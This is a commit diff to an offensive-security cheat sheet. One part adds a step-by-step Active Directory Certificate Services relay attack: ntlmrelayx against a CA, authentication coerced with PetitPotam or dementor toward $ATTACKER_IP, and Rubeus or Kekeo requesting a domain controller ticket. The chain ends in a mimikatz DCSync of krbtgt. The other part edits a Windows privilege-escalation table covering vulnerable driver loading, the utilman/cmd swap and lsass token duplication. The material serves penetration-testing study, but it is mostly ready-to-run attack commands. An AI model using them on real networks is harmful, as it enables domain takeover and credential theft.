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AD CS - Mimikatz / Rubeus

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45
Methodology and Resources/Active Directory Attack.md
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@ -1737,27 +1737,46 @@ Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impack
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```
#### AD CS Relay Attack
https://github.com/SecureAuthCorp/impacket/pull/1101
Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
1. Run the ntlmrelayx.py and set your Certificate Authority (CA) as a target
```powershell
python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
python3 ntlmrelayx.py -t http://cs1.lab.local/certsrv/certfnsh.asp -smb2support --adcs
```
2. Exploit the print spooler bug
* Version 1: NTLM Relay + Rubeus + PetitPotam
```powershell
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template workstation
# template workstation, DomainController, Machine
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like printspooler
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
```
3. Request the TGT using the certificate
```powershell
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzCC...<snip>...NfrHtUUXS /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```
* Version 2: NTLM Relay + Mimikatz + Kekeo
```powershell
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```
4. Now you can DCSync with the DC machine account
### Dangerous Built-in Groups Usage

3
Methodology and Resources/Windows - Privilege Escalation.md
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@ -976,7 +976,7 @@ Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary bel
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
@ -1314,3 +1314,4 @@ Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\sys
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)